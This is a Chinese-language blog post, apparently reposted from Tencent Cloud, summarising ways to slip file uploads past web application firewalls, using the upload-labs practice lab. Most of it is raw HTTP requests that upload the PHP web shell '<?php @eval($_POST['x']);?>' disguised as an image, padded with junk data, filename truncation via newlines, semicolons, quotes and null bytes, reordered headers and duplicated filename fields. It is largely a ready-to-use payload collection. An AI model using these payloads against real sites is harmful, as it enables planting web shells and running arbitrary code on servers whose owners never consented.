POST /upload-labs/Pass-01/index.php HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------410556960834723961492306539236
Content-Length: 20456
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/upload-labs/Pass-01/index.php
Cookie: pass=01
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------410556960834723961492306539236
Content-Disposition: form-data; name="upload_file"; filename="12.jpg"
Content-Type: image/jpeg
PNG
xxx
<?=eval($_REQUEST[cmd]);?><?=eval($_REQUEST[cmd]);?>
-----------------------------410556960834723961492306539236
Content-Disposition: form-data; name="submit"
上传
-----------------------------410556960834723961492306539236--
字符变异
数据溢出
name与filename之间插入大量垃圾数据。
POST /Pass-02/index.php HTTP/1.1 Host: hackrock.com:813 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf Connection: close ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf; filename="shell.php" #tips:注:需在大量垃圾数据后加“;” Content-Type: image/png <?php @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
boundary字符串中加入垃圾数据
boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件。
POST /Pass-01/index.php HTTP/1.1 Host: hackrock.com:813 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 Connection: close ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 Content-Disposition: form-data; name="upload_file";filename="shell.php" Content-Type: image/png <?php @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--
boundray末尾插入垃圾数据
刚才讲到过boundary
末尾可以插入任何数据,那么就可以在boundary
字符串末尾加入大量垃圾数据。
POST /Pass-01/index.php HTTP/1.1 Host: hackrock.com:813 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9 Connection: close Content-Length: 592 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png <?php @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
multipart/form-data与boundary之间插入垃圾数据
刚才讲到过multipart/form-data
与boundary
之间可以插入任何数据,那么就可以在multipart/form-data
与boundary
之间加入大量垃圾数据。
POST /Pass-01/index.php HTTP/1.1 Host: hackrock.com:813 Content-Type: multipart/form-data bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf Connection: close Content-Length: 319 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png <?php @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
数据截断
回车换行截断
POST请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若WAF匹配文件名到换行截止,则可以绕过。
Content-Disposition: for m-data; name="upload_ file"; fi le name="sh ell.p h p"
分号截断
若WAF匹配文件名到分号截止,则可以绕过。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg;.php"
引号截断
php<5.3 单双引号截断特性。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php" Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"
00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。这里使用[0x00]
代替16进制的00字符
Content-Disposition: form-data; name="upload_file"; filename="shell.php[0x00].jpg"
顺序颠倒
交换name和filename的顺序
因为规定了Content-Disposition
必须在最前面,所以只能交换name和filename的顺序。
有的WAF可能会匹配name
在前面,filename
在后面,可以导致绕过。
Content-Disposition: form-data; filename="xx.php"; name="file_x"
交换Content-Disposition和Content-Type的顺序
与上述一样,Content-Disposition和Content-Type也是能够交换顺序的。
Content-Type: image/png Content-Disposition: form-data; name="upload_file"; filename="shell.php"
交换不同boundary内容的顺序
不同boundary内容也能够交换,且不影响文件上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryzEHC1GyG8wYOH1rf Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png <?php @eval($_POST['x']);?> ------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
数据重复
boundary内容重复
最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名时只取了第一个就会被Bypass。
------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="upload_file"; filename="shell.jpg" Content-Type: image/png <?php @eval($_POST['hack']); ?> ------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png <?php @eval($_POST['hack']); ?> ------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
下面这样也是可以正常上传的
------WebKitFormBoundarymeEzpUTMsmOfjwAA ------WebKitFormBoundarymeEzpUTMsmOfjwAA-- ------WebKitFormBoundarymeEzpUTMsmOfjwAA;123 ------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: image/png <?php @eval($_POST['hack']); ?> ------WebKitFormBoundarymeEzpUTMsmOfjwAA Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundarymeEzpUTMsmOfjwAA--
filename重复
最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
转载:干货 | 最全的文件上传漏洞之WAF拦截绕过总结-腾讯云开发者社区-腾讯云 (tencent.com)
标签:点位,name,form,waf,filename,Content,Disposition,绕过,data From: https://www.cnblogs.com/lisenMiller/p/17675537.html